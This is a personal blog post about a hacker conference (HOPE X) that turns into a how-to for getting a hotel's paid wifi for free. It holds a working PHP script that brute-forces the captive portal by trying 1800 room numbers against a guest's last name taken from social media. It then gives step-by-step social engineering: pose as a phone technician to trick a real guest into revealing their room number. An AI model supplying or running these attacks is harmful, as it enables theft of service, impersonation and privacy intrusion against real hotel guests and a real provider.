HOPE X and stuff

Salutations!

HOPE X, my first HOPE went pretty well. I wanted to speak on an official capacity, however was rejected. I instead had to settle for an impromptu speech in one of the other rooms. I spoke on the basics of breaking apart malware and made the most of what little I had. Aside from that, the con was pretty cool. Awesome talks, awesome people, awesome town. Never been to NYC before then. I will definitely go again next time.

Definitely looking forward to going to Defcon.

When I travel, I can never seem to leave my act at home. Take the hotel wifi for example…

I noticed hotel wifi available on the room floors, however they wanted 12 bucks a day for it. When you connected to the access point, you were presented with a form that asked for 2 key pieces of info – a last name and a room number. There was no captcha. This means I need only code something up to brute force the thing. I would only need to guess the room number. With 18 room floors numbered 1-100, that gives us a total of 1800 possible combinations. The last names I got from browsing twitter / facebook / foursquare from people telling the world where they were staying.

#!/usr/bin/php

<?php
$lastname = "Graziano"; // change me
$target = "www.registerforhsia.com";
$timeout = 30;
$log = "log.txt";

	for($x=0;$x<1800;$x++)
        {

	$fp  = fsockopen($target, 80, $errno, $errstr, $timeout);
	if (!$fp) {
	    echo "$errstr ($errno)<br />\n";
	}

	$out  = "POST /Register/LastNameAndRoomNumberUI=02823a&NI=0050e802823a&UIP=74.113.166.146&MA=6817299F50AB HTTP/1.1\r\n";
        $out .= "Host: www.registerforhsia.com\r\n";
        $out .= "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0\r\n";
        $out .= "Accept: */*\r\n";
        $out .= "Accept-Language: en-US,en;q=0.5\r\n";
        $out .= "Accept-Encoding: gzip, deflate\r\n";
        $out .= "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
        $out .= "X-Requested-With: XMLHttpRequest\r\n";
        $out .= "Referer=https:\/\/www.registerforhsia.com/Welcome?UI=02823a&NI=0050e802823a&UIP=74.113.166.146&MA=6817299F50AB&RN=Guest&PORT=80&ZONE=Guest&RAD=yes&CC=no&PMS=no&SIP=10.0.2.0&OS=http%3A%2F%2Fgoogle.com%2F&DEVICE=pc\r\n";
        $out .= "Content-Length: 80\r\n";
        $out .= "Connection: keep-alive\r\n";
        $out .= "Pragma: no-cache\r\n";
        $out .= "Cache-Control: no-cache\r\n";
        $out .= "POSTDATA: last_name=" . $lastname . "&room_number=" . $x ."&rate_plan=1&toc=1\r\n";

  	$out .= "\r\n\r\n";

	echo "Attempt # " . $x . "\r\n";
        echo  "saving contents to " . $log . "\r\n";

        fwrite($fp, $out);
        while ($fp != feof($fp)) {
	$saveme = fgets($fp,2048);
	file_put_contents("log.txt",$saveme,FILE_APPEND);
         }
		echo "=========================================\r\n";

       fclose($fp);
	}

?>

This works fine and all, but there’s a MUCH easier approach to this – social engineering yo.
Here’s what you do.
1) Find someone on social media who’s telling the world they’re staying at the hotel Pennsylvania.
2) Call the front desk and ask to speak to that individual. They usually blind xfer you over.
3) If they answer, claim you’re a technician and are testing the phone system. Ask them something like “I’m the tech fixing the system, is this room 101?”. They will correct you on the room number thus giving you the keys, figuratively speaking.

Assuming they don’t modify the form, the script will continue to work. The SE approach however will always work because people are dumb.

I’m in the process of finishing my p2 of Syrian malware, so stay tuned.

Happy hacking!
wjdkRol

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.